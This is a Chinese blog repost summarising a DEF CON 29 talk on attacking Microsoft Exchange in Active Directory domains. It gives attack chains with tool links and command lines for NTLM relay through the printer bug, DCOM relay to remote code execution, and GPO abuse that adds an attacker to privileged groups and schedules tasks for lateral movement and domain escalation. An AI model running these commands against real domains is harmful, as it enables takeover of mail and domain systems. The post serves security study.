专栏首页鸿鹄实验室议题解读:One Domain Account For More Than Exchange Server RCE

议题解读:One Domain Account For More Than Exchange Server RCE

本文是对defcon会议 One Domain Account For More Than Exchange Server RCE的简单解读(复制粘贴),pdf地址:

https://media.defcon.org/DEF%20CON%2029/DEF%20CON%2029%20presentations/Tianze%20Ding%20-%20Vulnerability%20Exchange%20-%20One%20Domain%20Account%20For%20More%20Than%20Exchange%20Server%20RCE.pdf

视频地址:https://www.youtube.com/watch?v=7h38rI8KT30

推荐一波该议题,给类组合拳。

议题速览

1、exchange攻击面总览

2、从域认证到Mailbox接管

3、从域认证到exchange rce

4、横向移动、域提权

议题部分

exchange的研究意义这里就不多说了,用户多、权限高,全球设备多

而且再域内拥有较高权限,有着拿下exchange就拿下域的说法,且在安装exchange默认的组具有writeacl权限,可进行各类组合攻击,但这类权限已被在2019年修复。

exchange的架构如下

已被攻陷的部分如下

从域认证到Mailbox接管

在exchange中,提供了各类导入、导出等指定路径的功能,而该路径为UNC路径,

而有过相关基础的就知道,UNC路径可获取到目标的认证消息,默认为机器账户的凭据

而这里便要提到ntlm relay攻击了,议题也对该攻击进行了简单介绍

那我们还需要知道那个exchange接口支持ntlm才能进行此类攻

以及一个EPA的概念

但exchange默认EPA是不会开启的。下面就是找一个relay的接口,就可以进行我们的攻击了,这里选择的EWS,EWS具有下面功能

然后配合打印机漏洞便可进行攻击,攻击链如下:

需要的工具:

https://github.com/quickbreach/ExchangeRelayX

https://github.com/dirkjanm/krbrelayx/

https://github.com/SecureAuthCorp/impacket/blob/master/examples/exchanger.py

命令:

exchangeRelayx.py -t exchange2 address -l 0.0.0.0
printerbug.py domain/user:password@exchange1 attackaddress
exchanger.py domain/user:password@exchange1 nspi dump-tables -name GAL

此类攻击在2021被修复。

从域认证到exchange rce

首先,exchange的机器账户默认属于本地管理员组

然后作者说了几种relay场景以及为什么不能进行relay

然后作者发现可以使用DCOM得MSRPC进行攻击

选中的DCOM对象为

MMC20.Application (49B2791A-B1AE-4C90-9B8E-E860BA07F89)

攻击链如下

工具:

https://github.com/SecureAuthCorp/impacket/blob/master/examples/ntlmrelayx.py

命令:

ntlmrelayx.py -t dcom://exchange2 -smb2support
printerbug.py domain/user:password@exchange1 attackaddress

横向移动、域提权

横向移动

作者给的图以及很明了了,有一个Exchange Trusted Subsystem组成员权限的前提下,便可以利用GPO实现对指定用户(域管除外)的rce。

工具:

https://github.com/Dliv3/SharpGPO

https://github.com/FSecureLABS/SharpGPOAbuse

命令:

net group "Exchange Trusted Subsystem" attacker /add /domain //将指定用户加的高权限组
net group "Group Policy Creator Owners" attacker /add /domain  //将指定用户加的高权限组
SharpGPO.exe --Action NewOU --OUName "EvilOU" //新建OU
SharpGPO.exe --Action NewGPO --GPOName "EvilGPO" //新建GPO
SharpGPO.exe --Action NewGPLink --DN "OU=EvilOU,DC=xx,DC=xx" --GPOName "EvilGPO" //OU与GPO进行链接
SharpGPOAbuse.exe --AddUserTask --TaskName "PocCalc" --Author attch --Command "cmd.exe" --Argument "/c calc.exe" --GPOName //给GPO添加任务
SharpGPO.exe --Action MoveObject --SrcDC "CN=XXX,CN=users,DC=xx,DC=xx" --DstDN "OU=EvilOU,DC=xx,DC=xx" //将指定用户移动到新建的OU中

域提权

原理跟上面类似,只是把用户改成了机器

工具:

https://github.com/Dliv3/SharpGPO

https://github.com/FSecureLABS/SharpGPOAbuse

命令:

net group "Exchange Trusted Subsystem" attacker /add /domain //将指定用户加的高权限组
net group "Group Policy Creator Owners" attacker /add /domain  //将指定用户加的高权限组
SharpGPO.exe --Action NewOU --OUName "EvilOU" //新建OU
SharpGPO.exe --Action NewGPO --GPOName "EvilGPO" //新建GPO
SharpGPO.exe --Action NewGPLink --DN "OU=EvilOU,DC=xx,DC=xx" --GPOName "EvilGPO" //OU与GPO进行链接
SharpGPOAbuse.exe --AddUserTask --TaskName "PocCalc" --Author attch --Command "cmd.exe" --Argument "/c calc.exe" --GPOName
SharpGPO.exe --Action MoveObject --SrcDC "CN=XXX,OU=Domain Controllers,DC=xx,DC=xx" --DstDN "OU=EvilOU,DC=xx,DC=xx" //将指定机器移动到新建的OU中

最后移除新建的OU、GPO

SharpGPO.exe --Action RemoveOU --OUName "EvilOU" //移除OU
SharpGPO.exe --Action RemoveGPO --GPOName "EvilGPO" //移除GPO

本文分享自微信公众号 - 鸿鹄实验室(gh_a2210090ba3f),作者:鸿鹄实验室a

原文出处及转载信息见文内详细说明,如有侵权,请联系 yunjia_community@tencent.com 删除。

原始发表时间:2021-08-15

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

我来说两句

0 条评论
登录 后参与评论

相关文章

  • CVE-2020-16875 Exchange 命令执行漏洞

    https://x41-dsec.de/security/advisory/exploit/research/2020/12/21/x41-microsoft-...

    Khan安全团队
  • DNS records on Linux

    用户8418197
  • BizTalk Server 2006 Virtual Multi-Box Install

    One of the great improvements in BizTalk Server 2006 was the ease of the install...

    阿新
  • How to Add an API to your Web Service

    Introduction APIs are a great way to extend your application, build a community,...

    张善友
  • 非传统 WAF/IDS 规避技术指南

    原文总结的一些姿势在实际挖洞的时候还比较管用,原文地址https://blog.0xffff.info/2021/07/24/a-guide-to-non-co...

    用户2202688
  • ubuntu16安装nginx

    https://www.digitalocean.com/community/tutorials/how-to-install-nginx-on-ubuntu-...

    bear_fish
  • DevOps工具介绍连载(17)——Debian-Preseed(全局配置)

    对于大批量安装Linux服务器来说,Kickstart是个不错的选择,我比较热衷的方式是:TFPT+HTTP+DHCP+PXE(configure file)

    小老鼠
  • DNSPod十问Neha Naik:以人民币结算海外IT业务的可能性?

    ? 问答时间:2020年10月22日 嘉宾简介: Neha Naik:Radix域名注册局全球渠道总监,在域名行业拥有超过15年的面向注册局、注册商、网站托...

    腾讯云DNSPod团队
  • What is AWS S3 and Why to use it?

    AWS S3 is an object-based serverless storage service by Amazon web services whic...

    用户4822892
  • Best Practices for Speeding Up Your Web Site(网站优化)

    80% of the end-user response time is spent on the front-end. Most of this time i...

    阿dai学长
  • Is it worth learning JavaScript in 2020?

    Is-it-worth-learning-JavaScript-in-2020_-2.png

    用户4822892
  • nc 反弹shell ​| Linux 后门系列

    需要注意的是,服务器端如果是 nc -l 127.0.0.1 1234 就只能本地连接了,所以我们一般都是直接 nc -l 1234

    意大利的猫
  • Request-Response通讯模式的优化(share connection、pipline、asynchrous)

    Request-Response是一种信息交换模式,在一次完整的通讯中,大概流程是这样的(文中的通讯都是基于TCP而言的)。

    开发架构二三事
  • DNS 端口介绍

    Domain Name System aka DNS is used to match domain names to the IP addresses. DN...

    用户8418197
  • DNS 使用哪个 Port

    Domain Name System aka DNS is used to match domain names to the IP addresses. DN...

    用户8418197
  • OCP真题精简版--你值得拥有

    CorollaD
  • kafka install for ansible

    Kafka是一种高吞吐量的分布式发布订阅消息系统,它可以处理消费者规模的网站中的所有动作流数据。支持离线和在线日志处理,kafka对消息保存时根据topic进行...

    dogfei
  • 「译」MyEtherWallet 首页提示

    这是「区块链技术指北」的第 4 篇文章。 如果对我感兴趣,想和我交流,我的微信号:Wentasy,加我时简单介绍下自己,并注明来自「区块链技术指北」。 最近打开...

    robinwen
  • MySQL 8.0.14版本新功能详解

    作者:崔虎龙,云和恩墨-开源架构部-MySQL技术顾问,长期服务于数据中心(金融,游戏,物流)行业,熟悉数据中心运营管理的流程及规范,自动化运维 等方面。擅长M...

    数据和云

扫码关注云+社区

领取腾讯云代金券